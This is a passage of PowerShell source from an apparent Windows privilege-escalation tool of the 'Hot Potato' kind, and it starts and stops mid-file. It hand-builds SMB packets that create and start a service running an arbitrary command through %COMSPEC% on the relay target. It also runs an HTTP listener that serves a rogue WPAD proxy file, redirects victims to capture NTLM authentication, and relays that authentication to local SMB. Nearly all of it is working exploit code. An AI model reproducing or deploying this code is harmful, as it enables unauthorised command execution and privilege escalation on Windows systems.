        $SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length)
        $SMB_service_random += '00-00-00'
        [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_referent_ID_bytes = [String](1..4 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
        $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $Command = "%COMSPEC% /C `"" + $Command + "`""
        [System.Text.Encoding]::ASCII.GetBytes($Command) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ }

        if([bool]($Command.length%2))
        {
            $SMB_relay_command += '00-00'
        }
        else
        {
            $SMB_relay_command += '00-00-00-00'
        }    
        
        [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237)
        $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0]
        $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63)
        $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1]   
        $SMB_relay_command_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length / 2)

        $k = 0

        :SMB_relay_execute_loop while ($k -lt 12)
        {
            switch ($k)
            {
            
                0 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00,0x18,0x01,0x48)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00,0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31)`
                        + (0x30,0x2e,0x32,0x2e,0x31,0x30,0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00)
                }
                  
                1 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00,0x18,0x02,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
                        + (0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01,0x00,0x00,0x00)`
                        + (0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08,0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00)
                }
                
                2 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00)`
                        + (0x00,0x00,0x48,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
                        + (0x01,0x00,0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03,0x02,0x00,0x00)`
                        + (0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00)
                        
                        $SMB_multiplex_id = (0x05)
                }
               
                3 { 
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
                
                4 {
                    [Byte[]] $SMB_relay_execute_send = (0x00,0x00,0x00,0x9b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x50)`
                        + (0x00,0x00,0x00,0x5c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
                        + (0x00,0x5c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03)`
                        + (0x00,0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)`
                        + $SMB_service_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00)
                        
                        $SMB_multiplex_id = (0x07)
                }
                
                5 {  
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
                
                6 {
                    [Byte[]]$SMB_relay_execute_send = [ARRAY](0x00)`
                        + $SMB_service_data_length_bytes`
                        + (0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x00,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x3f,0x00,0x00,0x00,0x00,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x05,0x00,0x00,0x03,0x10)`
                        + (0x00,0x00,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00)`
                        + $SMB_context_handler`
                        + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)`
                        + $SMB_service_bytes`
                        + (0x00,0x00)`
                        + $SMB_referent_ID_bytes`
                        + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)`
                        + $SMB_service_bytes`
                        + (0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
                        + $SMB_relay_command_length_bytes`
                        + (0x00,0x00,0x00,0x00)`
                        + $SMB_relay_command_length_bytes`
                        + $SMB_relay_command_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
                        
                        $SMB_multiplex_id = (0x09)
                }

                7 {
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }

                
                8 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x34)`
                        + (0x00,0x00,0x00,0x34,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
                        + (0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x13,0x00)`
                        + $SMB_context_handler`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
                }
                
                9 {
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
                
                10 { 
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x2c)`
                        + (0x00,0x00,0x00,0x2c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
                        + (0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x02,0x00)`
                        + $SMB_context_handler
                }
                11 {
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
            }
            
            $SMB_relay_execute_stream.write($SMB_relay_execute_send, 0, $SMB_relay_execute_send.length)
            $SMB_relay_execute_stream.Flush()
            
            if ($k -eq 5) 
            {
                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)
                $SMB_context_handler = $SMB_relay_execute_bytes[88..107]

                if(([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '00-00-00-00') -and ([System.BitConverter]::ToString($SMB_context_handler) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00'))
                {
                    #$tater.console_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")
                }
                elseif([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '05-00-00-00')
                {
                    $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")
                    $SMB_relay_failed = $true
                }
                else
                {
                    $SMB_relay_failed = $true
                }

            }
            elseif (($k -eq 7) -or ($k -eq 9) -or ($k -eq 11))
            {
                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)

                switch($k)
                {
                    7 {
                        $SMB_context_handler = $SMB_relay_execute_bytes[92..111]
                        $SMB_relay_execute_error_message = "Service creation fault context mismatch"
                    }
                    11 {
                        $SMB_relay_execute_error_message = "Service start fault context mismatch"
                    }
                    13 {
                        $SMB_relay_execute_error_message = "Service deletion fault context mismatch"
                    }
                }
                
                if([System.BitConverter]::ToString($SMB_context_handler[0..3]) -ne '00-00-00-00')
                {
                    $SMB_relay_failed = $true
                }

                if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq '1a-00-00-1c')
                {
                    $tater.console_queue.add("$SMB_relay_execute_error_message service on $SMBRelayTarget")
                    $SMB_relay_failed = $true
                }
            }        
            else
            {
                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)    
            }
            
            if((!$SMB_relay_failed) -and ($k -eq 7))
            {
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $SMBRelayTarget")
            }
            elseif((!$SMB_relay_failed) -and ($k -eq 9))
            {
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay command likely executed on $SMBRelayTarget")
                $tater.SMB_relay = $false
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay disabled due to success")
            }
            elseif((!$SMB_relay_failed) -and ($k -eq 11))
            {
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $SMBRelayTarget")
                }   
            
            [Byte[]]$SMB_relay_execute_ReadAndRequest = (0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                + $tater.process_ID_bytes`
                + $SMB_user_ID`
                + $SMB_multiplex_ID`
                + (0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x58,0x02,0x58,0x02,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00)
            
            if($SMB_relay_failed)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay failed on $SMBRelayTarget")
                BREAK SMB_relay_execute_loop
            }

            $k++
        }
        
        $tater.SMB_relay_active_step = 0
        
        $SMB_relay_socket.Close()
        $tater.SMBRelay_success = $True
    }
}

# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener
$HTTP_scriptblock = 
{ 
    param ($Command,$WPADDirectHosts)

    Function NTLMChallengeBase64
    {

        $HTTP_timestamp = Get-Date
        $HTTP_timestamp = $HTTP_timestamp.ToFileTime()
        $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp))
        $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}

        [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0xc2,0x89,0xa2)`
            + $HTTP_challenge_bytes`
            + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)`
            + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)`
            + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)`
            + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)`
            + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)`
            + $HTTP_timestamp`
            + (0x00,0x00,0x00,0x00,0x0a,0x0a)

        $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
        $NTLM = 'NTLM ' + $NTLM_challenge_base64
        $NTLM_challenge = $HTTP_challenge

        Return $NTLM

    }

    $SMBRelayTarget = "127.0.0.1"

    $WPADDirectHosts += "localhost"

    $HTTP_content_length = 64

    foreach($WPAD_direct_host in $WPADDirectHosts)
    {
        $HTTP_content_length += $WPAD_direct_host.length + 43
        $HTTP_content_length_bytes = [System.Text.Encoding]::ASCII.GetBytes($HTTP_content_length)
        $WPAD_direct_host_bytes = [System.Text.Encoding]::ASCII.GetBytes($WPAD_direct_host)
        $WPAD_direct_host_function_bytes = (0x69,0x66,0x20,0x28,0x64,0x6e,0x73,0x44,0x6f,0x6d,0x61,0x69,0x6e,0x49,0x73,0x28,0x68,0x6f,0x73,0x74,0x2c,0x20,0x22)`
            + $WPAD_direct_host_bytes`
            +(0x22,0x29,0x29,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x44,0x49,0x52,0x45,0x43,0x54,0x22,0x3b)
        $WPAD_direct_hosts_bytes += $WPAD_direct_host_function_bytes
    }
    
    :HTTP_listener_loop while ($tater.running)
    {
        if($tater.SMBRelay_success)
        {
            HTTPListenerStop
        }

        $TCP_request = $NULL
        $TCP_request_bytes = New-Object System.Byte[] 1024

        $suppress_waiting_message = $false

        while(!$tater.HTTP_listener.Pending() -and !$tater.HTTP_client.Connected)
        {
            if(!$suppress_waiting_message)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Waiting for incoming HTTP connection")
                $suppress_waiting_message = $true
            }
            Start-Sleep -s 1

            if($tater.SMBRelay_success)
            {
                HTTPListenerStop
            }
        }

        if(!$tater.HTTP_client.Connected)
        {
            $tater.HTTP_client = $tater.HTTP_listener.AcceptTcpClient() # will block here until connection 
	        $HTTP_stream = $tater.HTTP_client.GetStream() 
        }

        while ($HTTP_stream.DataAvailable)
        {
            $HTTP_stream.Read($TCP_request_bytes, 0, $TCP_request_bytes.Length)
        }

        $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes)

        if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*")
        {
            $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3)
            $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
            $tater.request_RawUrl = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length)
        
            if($tater.request_RawUrl -eq "")
            {
                $tater.request_RawUrl = "/"
            }
        }

        if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*")
        {
            $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46)
            $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-"))
            $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
            $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length)
        }
        else
        {
            $authentication_header =  ''
        }

        $HTTP_type = "HTTP"

        $HTTP_request_type = ""
        
        if ($tater.request_RawUrl -match '/wpad.dat')
        {
            $tater.response_StatusCode = (0x32,0x30,0x30)
            $HTTP_response_phrase = (0x4f,0x4b)
            $HTTP_WPAD_response = (0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x20,0x46,0x69,0x6e,0x64,0x50,0x72,0x6f,0x78,0x79,0x46,0x6f,0x72,0x55,0x52,0x4c,0x28)`
                + (0x75,0x72,0x6c,0x2c,0x68,0x6f,0x73,0x74,0x29,0x7b)`
                + $WPAD_direct_hosts_bytes`
                + (0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x50,0x52,0x4f,0x58,0x59,0x20,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31)`
                + (0x3a,0x38,0x30,0x22,0x3b,0x7d)

            $NTLM = ''
            $HTTP_request_type = "WPAD"
        }
        elseif ($tater.request_RawUrl -eq '/GETHASHES')
        {
            $tater.response_StatusCode = (0x34,0x30,0x31)
            $HTTP_response_phrase = (0x4f,0x4b)
            #$HTTP_response_phrase = (0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64)
            $NTLM = 'NTLM'
            $HTTP_request_type = "NTLM"
        }
        else
        {
            $tater.response_StatusCode = (0x33,0x30,0x32)
            $HTTP_location = (0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x70,0x72,0x69,0x76,0x61,0x74,0x65,0x0d,0x0a,0x43,0x6f)`
                + (0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73)`
                + (0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x45,0x78,0x70,0x69,0x72,0x65,0x73,0x3a,0x20,0x4d,0x6f,0x6e,0x2c,0x20,0x30,0x31,0x20,0x4a)`
                + (0x61,0x6e,0x20,0x30,0x30,0x30,0x31,0x20,0x30,0x30,0x3a,0x30,0x30,0x3a,0x30,0x30,0x20,0x47,0x4d,0x54,0x0d,0x0a,0x4c,0x6f,0x63,0x61,0x74,0x69)`
                + (0x6f,0x6e,0x3a,0x20,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x6c,0x6f,0x63,0x61,0x6c,0x68,0x6f,0x73,0x74,0x2f,0x47,0x45,0x54,0x48,0x41,0x53,0x48)`
                + (0x45,0x53,0x0d,0x0a)

            $HTTP_response_phrase = (0x4f,0x4b)
            $NTLM = ''
            $HTTP_request_type = "Redirect"

            if($tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Attempting to redirect to http://localhost/gethashes and trigger relay")
            }
        }

        if(($tater.request_RawUrl_old -ne $tater.request_RawUrl -and $tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle) -or $tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle)
        {
            $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $tater.request_RawUrl + " received from " + $tater.HTTP_client.Client.RemoteEndpoint.Address)
        }

        if($authentication_header.startswith('NTLM '))
        {
            $authentication_header = $authentication_header -replace 'NTLM ',''
            [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header)
            $tater.response_StatusCode = (0x34,0x30,0x31)
            $HTTP_response_phrase = (0x4f,0x4b)
            
            if ($HTTP_request_bytes[8] -eq 1)
            {

                if(($tater.SMB_relay) -and ($tater.SMB_relay_active_step -eq 0)) # -and ($tater.request.RemoteEndpoint.Address -ne $SMBRelayTarget))
                {
                    $tater.SMB_relay_active_step = 1
                    $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $tater.HTTP_client.Client.RemoteEndpoint.Address)
                    $tater.console_queue.add("$(Get-Date -format 's') - Grabbing challenge for relay from $SMBRelayTarget")
                    $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient
                    $SMB_relay_socket.connect($SMBRelayTarget,"445")
                    
                    if(!$SMB_relay_socket.connected)
                    {
                        $tater.console_queue.add("$(Get-Date -format 's') - SMB relay target is not responding")
                        $tater.SMB_relay_active_step = 0
                    }
                    
                    if($tater.SMB_relay_active_step -eq 1)
                    {
                        $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes
                        $tater.SMB_relay_active_step = 2
                        $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.length]
                        $SMB_user_ID = $SMB_relay_bytes[34..33]
                        $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes)
                        $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-",""
                        $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000")
                        $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2
                        $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes
                        $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)]
                        $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes
                        $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)]
                        $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)]
                        $SMB_reserved = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 32)..($SMB_relay_NTLMSSP_bytes_index + 39)]
                        $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)]
                    
                        [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00)`
                            + $SMB_domain_length_offset_bytes`
                            + (0x05,0xc2,0x89,0xa2)`
                            + $SMB_relay_NTLM_challenge`
                            + $SMB_reserved`
                            + $SMB_target_length_offset_bytes`
                            + $SMB_relay_target_details
                    
                        $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
                        $NTLM = 'NTLM ' + $NTLM_challenge_base64
                        $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes
                        $tater.HTTP_challenge_queue.Add($tater.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $tater.HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge)
                        $tater.console_queue.add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")
                        $tater.console_queue.add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $tater.HTTP_client.Client.RemoteEndpoint.Address)
                        $tater.SMB_relay_active_step = 3
                    }
                    else
                    {
                        $NTLM = NTLMChallengeBase64
                    }
                }
                else
                {
                     $NTLM = NTLMChallengeBase64
                }
                
                $tater.response_StatusCode = (0x34,0x30,0x31)
                $HTTP_response_phrase = (0x4f,0x4b)
                
            }
            elseif ($HTTP_request_bytes[8] -eq 3)
            {
                $NTLM = 'NTLM'
                $HTTP_NTLM_offset = $HTTP_request_bytes[24]
                $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes
                $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes
                $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes
                       
                if($HTTP_NTLM_domain_length -eq 0)
                {
                    $HTTP_NTLM_domain_string = ''
                }
                else
                {  
                    $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
                }

                $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes
                $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes

                if ([System.BitConverter]::ToString($HTTP_request_bytes[16]) -eq '58' -and [System.BitConverter]::ToString($HTTP_request_bytes[24]) -eq '58' -and [System.BitConverter]::ToString($HTTP_request_bytes[32]) -eq '58')
                {
                    $HTTP_NTLM_user_string = ''
                    $HTTP_NTLM_host_string = ''
                }
                else
                {
                    $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
                    $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes
                }

                $NTLM_type = "NTLMv2"           
                $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-",""
                $NTLM_response = $NTLM_response.Insert(32,':')
                
                $tater.response_StatusCode = (0x32,0x30,0x30)
                $HTTP_response_phrase = (0x4f,0x4b)
                $NTLM_challenge = ''
                
                if (($tater.SMB_relay) -and ($tater.SMB_relay_active_step -eq 3))
                {
                    $tater.console_queue.add("$(Get-Date -format 's') - Sending response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")
                    $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID
                    $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length]
                    
                    if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00')))
                    {
                        $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")
                        $tater.SMB_relay_active_step = 4
                        SMBRelayExecute $SMB_relay_socket $SMB_user_ID          
                    }
                    else
                    {
